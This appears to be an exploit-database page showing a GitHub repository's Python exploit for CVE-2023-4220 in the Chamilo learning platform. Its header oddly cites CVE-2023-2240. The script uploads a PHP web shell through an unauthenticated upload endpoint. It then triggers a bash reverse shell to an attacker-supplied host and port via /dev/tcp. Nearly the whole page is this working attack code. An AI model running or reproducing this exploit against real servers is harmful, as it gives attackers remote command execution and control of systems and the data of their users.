Exploit databaseDownload repository ZIP
GH-a326b23f6fcf60398ffcc91fb2a7f79d
thefizzyfish/cve-2023-4220_chamilo_rce
Sources for CVE-2023-2240
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files3
thefizzyfish/cve-2023-4220_chamilo_rceRevision 108d7b2aa211
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2023-4220.py
Python · 2,105 bytesimport requests
import argparse
import urllib.parse
upload_url = '/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
exploit_url = '/main/inc/lib/javascript/bigupload/files/exploit.php?cmd='
def main():
parser = argparse.ArgumentParser(description="Set up target host and rev shell IP and port.")
# Define the arguments
parser.add_argument('-H', '--target_host', type=str, required=True, help='Target host IP address - http://lms.example.com')
parser.add_argument('-l', '--lhost', type=str, required=True, help='Local host IP address')
parser.add_argument('-p', '--lport', type=str, required=True, help='Local listenting port number')
# Parse the arguments
args = parser.parse_args()
# Assign arguments to variables and add create our full URLs
full_upload_url = args.target_host + upload_url
full_exploit_url = args.target_host + exploit_url
lhost = args.lhost
lport = args.lport
# Create the cmd shell
cmd_shell = '<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>'
# Create the reverse shell payload and url encode
rev = "bash -c 'bash -i >& /dev/tcp/" + lhost + "/" + lport + " 0>&1\'"
encoded_rev = urllib.parse.quote(rev, safe="")
# Create the upload file
file_content = """<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>"""
files = {
'bigUploadFile': ('exploit.php', file_content, 'application/octet-stream')
}
# Upload the cmd shell file
response = requests.post(full_upload_url, files=files)
# check the response
if response.status_code == 200:
print('[+] File uploaded successfully.\n')
else:
print('Failed to upload file. Status code:', response.status_code)
# Request the upload file to trigger the reverse shell
print("[+] Attempting to hit the rev shell, check your listener\n")
response = requests.get(full_exploit_url + encoded_rev)
if __name__ == "__main__":
main()